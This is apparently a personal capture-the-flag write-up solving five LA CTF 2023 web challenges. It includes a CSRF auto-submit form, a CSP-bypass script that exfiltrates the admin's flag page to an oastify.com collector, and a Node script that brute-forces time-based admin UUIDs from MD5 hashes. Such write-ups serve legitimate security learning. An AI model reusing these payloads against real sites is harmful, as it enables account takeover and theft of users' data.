Home LA CTF 2023 - Writeup
Post
Cancel

LA CTF 2023 - Writeup

This write-up serves as a personal reference and a tool for me to practice CTF. It includes information and solutions collected from various sources, including challenges that were not solved during the event.

Link to archive challenges: https://github.com/uclaacm/lactf-archive/tree/master/2023

Category : Web

Web : College Tour

Welcome to UCLA! To explore the #1 public college, we have prepared a scavenger hunt for you to walk all around the beautiful campus.

Link: https://college-tour.lac.tf

With a simple use of the curl command, collecting all six flags from the three files, index.html, index.css, and script.js, becomes effortless.

1
2
3
4
└─# curl -ks https://college-tour.lac.tf/ | tr " " "\n" | tr "\"" "\n" | grep -Ev "lOsT|\!N|number_text|03LT3r" | grep -i lactf
lactf{1_j03_4}-->
lactf{2_nd_j0}
lactf{4_n3_bR}.pdf
1
2
└─# curl -ks https://college-tour.lac.tf/index.css | tr " " "\n" | tr "\"" "\n" | grep -Ev "lOsT|\!N|number_text|03LT3r" | grep -i lactf
lactf{3_S3phI}
1
2
3
└─# curl -ks https://college-tour.lac.tf/script.js | tr " " "\n" | tr "\"" "\n" | grep -Ev "lOsT|\!N|number_text|03LT3r" | grep -i lactf
lactf{6_AY_hi}
cookie=lactf{5_U1n_s}

Flag: lactf{j03_4nd_j0S3phIn3_bRU1n_sAY_hi}

Web : Metaverse

Metaenter the metaverse and metapost about metathings. All you have to metado is metaregister for a metaaccount and you’re good to metago.

Link: https://metaverse.lac.tf

You can metause our fancy new metaadmin metabot to get the admin to metaview your metapost!

Source Code (index.js) : index.js

This code defines a simple web application using the Express framework in Node.js. The application allows users to register and log in, post updates, and view other users’ posts.

The code sets up the following routes:

/post/:id: This route displays the content of a post with the given ID.

/: This route requires the user to be logged in and serves static HTML content.

/login: This route serves static HTML content for the login page.

/register: This route handles the user registration process.

/login: This route handles the user login process.

We can easily register an account and login.

Looking at the source code, the flag is located in displayname of the admin account.

1
2
3
4
5
6
accounts.set("admin", {
    password: adminpw,
    displayName: flag,
    posts: [],
    friends: [],
});

Also, the display name will be available at home page if they also add our username as a friend. Since, we can create anything for the admin to access via https://admin-bot.lac.tf/metaverse. Let’s create a CSRF payload to send to admin to add our username as a friend.

Payload CSRF:

1
2
3
4
5
6
7
8
9
10
11
12
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://metaverse.lac.tf/friend" method="POST">
      <input type="hidden" name="username" value="admin123" />
      <input type="submit" value="Submit request" />
    </form>
 <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Flag : lactf{please_metaget_me_out_of_here}

Web : my-chemical-romance

When I was… a young boy… I made a “My Chemical Romance” fanpage!

Link: https://my-chemical-romance.lac.tf

Inside the response, we can see it stated “Mercurial-SCM”.

Mercurial: is a free, distributed version control system (VCS) that provides fast and efficient handling of source code and other development files. It is commonly known as Mercurial-SCM, where “SCM” stands for “Source Code Management.” Mercurial enables developers to keep track of changes to their code, collaborate with others, and maintain multiple versions of their codebase

Let’s first install mercurial (hg)

1
sudo apt-get install mercurial

We can easily clone a repository using hg command.

1
hg clone https://my-chemical-romance.lac.tf/ dump

When we see the log using hg log -v, we can see changeset 0 and 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
changeset:   1:3ecb3a79e255
tag:         tip
user:        bliutech <bensonhliu@gmail.com>
date:        Fri Feb 10 06:50:48 2023 -0800
files:       gerard_way2001.py static/index.html
description:
Decided to keep my favorite song a secret :D


changeset:   0:2445227b04cd
user:        bliutech <bensonhliu@gmail.com>
date:        Fri Feb 10 06:49:48 2023 -0800
files:       gerard_way2001.py static/404.html static/index.css static/index.html static/mcr-meme.jpeg static/my-chemical-romance.jpeg
description:
I love 'My Chemical Romance'

To check our current changeset, we can use hg heads

1
2
3
4
5
changeset:   1:3ecb3a79e255
tag:         tip
user:        bliutech <bensonhliu@gmail.com>
date:        Fri Feb 10 06:50:48 2023 -0800
summary:     Decided to keep my favorite song a secret :D

To change to 0 we can use hg update -r 0

1
2
# hg update -r 0
2 files updated, 0 files merged, 0 files removed, 0 files unresolved

Flag can be found inside the updated gerard_way2001.py

Flag : lactf{d0nT_6r1nk_m3rCur1al_fr0m_8_f1aSk}

Web : california-state-police

Stop! You’re under arrest for making suggestive 3 letter acronyms!

Link: https://california-state-police.lac.tf

Admin Bot (https://admin-bot.lac.tf/california-state-police) (note: the adminpw cookie is HttpOnly and SameSite=Lax)

Source Code (index.js) : index.js

One thing we know, this challenge related to CSP and how we can bypass it. The current CSP can be found either in the source code or in the response header.

1
default-src 'none'; script-src 'unsafe-inline'

default-src 'none': All types of content (scripts, images, stylesheets, etc.) are blocked from being loaded. This is a strict policy that provides a high level of security, as it prevents any malicious content from being loaded onto the page.

script-src 'unsafe-inline': Inline JavaScript is allowed to be executed on the page. Inline JavaScript refers to JavaScript code that is directly included in the HTML, rather than being loaded from an external file

Everytime we request something with self or external , we will get this error.

1
<script src="https://california-state-police.lac.tf/report/903dfa2d-4bfe-4a00-8a08-fe0566008807"></script>

But, it’s possible redirect to another website. Below are the successful javascripts we can use.

1
2
3
4
5
window.open("https://URL") ----> open in new tab
window.location.href="https://URL" ----> open in current tab
window.location.replace("https://URL") ----> open in current tab
window.location.assign("https://URL") ----> open in current tab
document.location = "https://URL" ----> open in current tab

We going to use 2 files

  1. Stored an HTML that will have a form with post method and retrieve the flag
  2. Stored a javascript that will get the value of the flag in file 1 and send/redirect it to the attacker URL.

FILE 1

1
2
3
4
5
6
7
8
9
<!-- https://california-state-police.lac.tf/report/3f107f9c-4ffe-4fb7-a696-1175012f0d60 -->

<form id="flag-form" action="/flag" method="post">
  <button type="submit">Click Me</button>
</form>

<script>
  document.getElementById("flag-form").submit();
</script>

FILE 2

1
2
3
4
5
6
7
8
9
10
11
12
<!-- https://california-state-police.lac.tf/report/27fadbd1-a53e-4cb0-b102-40e60d049a59 -->

<script>
function redirect() {
    let webs = window.open("https://california-state-police.lac.tf/report/3f107f9c-4ffe-4fb7-a696-1175012f0d60", "_blank");
    setTimeout(function() {
        let report = webs.document.documentElement.innerHTML;
        window.location ="https://uhf0hn49b3o3wmk345uavj0n0e65uvik.oastify.com/?flag="+encodeURIComponent(report);
    }, 200);
}
redirect()
</script>

Sending the URL of FILE 2 to admin will get us the flag.

Flag : lactf{m4yb3_g1v1ng_fr33_xss_1s_jus7_4_b4d_1d3a}

References

  1. https://www.youtube.com/watch?v=1AmbQU_p5TU

Web : uuid hell

UUIDs are the best! I love them (if you couldn’t tell)!

Link: https://uuid-hell.lac.tf/

Zip file (uuid-hell.zip) : uuid-hell.zip

Inside server.js we can view the source code of the web application. The code sets up the following routes:

/: This route used to display a unique identifier for the user and the hashes of the UUIDs of all users and admin users. If the user has a valid UUID cookie, it is checked to see if it is an admin UUID. If it is, the flag is returned, otherwise, the user is shown their UUID and the hashes of the UUIDs of all users and admin users.

/createadmin: This route is a POST endpoint that creates a new “admin” UUID and adds it to the list of admin UUIDs. This endpoint is used to create an admin account.

Every time an admin is created through the /createadmin route, a new UUID is added to their list. Let’s take a look at the latest MD5 for an admin.

Let’s create and admin and view the latest MD5. The pink color indicates, the previous value of MD5, while yellow color indicates the latest value of MD5.

1
curl -X POST "https://uuid-hell.lac.tf/createadmin"

The hash created in getUsers() function.

1
2
3
const hash = crypto.createHash('md5').update("admin" + adminuuid).digest("hex");

"fefc766eb7572078650ddfad91f2021b" = MD5("admin"+Admin_UUID)

Next, we need to know how the Admin UUID created. These codes, will help us understand how the UUID created. The admin UUID is created in the randomUUID() function and assigned to adminid in the /createadmin route.

1
2
3
4
5
6
7
8
9
10
11
12
13
function randomUUID() {
    return uuid.v1({'node': [0x67, 0x69, 0x6E, 0x6B, 0x6F, 0x69], 'clockseq': 0b10101001100100});
}

app.post('/createadmin', (req, res) => {

    const adminid = randomUUID();
    adminuuids.push(adminid);
    if (adminuuids.length > 50) {
        adminuuids.shift();
    }
    res.send("Admin account created.")
});

uuid v1: A version 1 UUID is generated by using the combination of the current time, a MAC address of a network card (or a random value if the MAC address is not available), and a random number. This ensures that the UUID generated is unique across time and space

I made 2 scripts fetch_hash.js and offline_brute.js.

FILE 1 (fetch_hash.js)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
const uuid = require('uuid');
const crypto = require('crypto')
const axios = require('axios');

// Create admin
const url_post = 'https://uuid-hell.lac.tf/createadmin';
axios.post(url_post, {
  // Request body goes here
})
  .then(response => {
    console.log(response.data);
  })
  .catch(error => {
    console.error(error);
  });

// Get latest hash value
const url_get = 'https://uuid-hell.lac.tf/';
const regex = /:(.*)<br/s
const regex2 = /((.*(\n|\r|\r\n)){2})/s
let hash_web = "";
axios.get(url_get)
  .then(response => {
    const responseData = response.data;
    const result = responseData.match(regex)[0];
    hash_web = result.match(regex2)[2].replace("<tr><td>","").replace("</td></tr>","");
    console.log("MD5 Hash (Web) : "+hash_web);
  })
  .catch(error => {
    console.error(error);
  });

FILE 2 (fetch_hash.js)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
const uuid = require('uuid');
const crypto = require('crypto')
const axios = require('axios');

// Arguments
const args = process.argv;

// Bruteforcing
const currentTimestamp = Date.now();
for (let timestamp = currentTimestamp-100000; timestamp <= currentTimestamp+100000; timestamp++) {
	// Generate UUID
	const adminuuid = uuid.v1({
		msecs: timestamp,
		node: [0x67, 0x69, 0x6E, 0x6B, 0x6F, 0x69],
		clockseq: 0b10101001100100,
	});
	
	// MD5 Hash
	const hash = crypto.createHash('md5').update("admin" + adminuuid).digest("hex");
	
	// Compare MD5 hash we generate with the one we found in web
	if (hash === args[2]) {
			console.log("Original Hash : "+hash);
	console.log("Admin UUID : "+adminuuid);
	
			break;
	}
}

We can easily get the admin UUID with the following steps:

1
2
3
4
5
6
7
# node fetch_hash.js   
Admin account created.
MD5 Hash (Web) : 18664ca27547b38777fa7ef42fbdc5d5

# node offline_brute.js "18664ca27547b38777fa7ef42fbdc5d5"
Original Hash : 18664ca27547b38777fa7ef42fbdc5d5
Admin UUID : 7c9e4360-ac19-11ed-aa64-67696e6b6f69

Change the cookies and we will get the flag!

Flag : lactf{uu1d_v3rs10n_1ch1_1s_n07_r4dn0m}

This post is licensed under CC BY 4.0 by the author.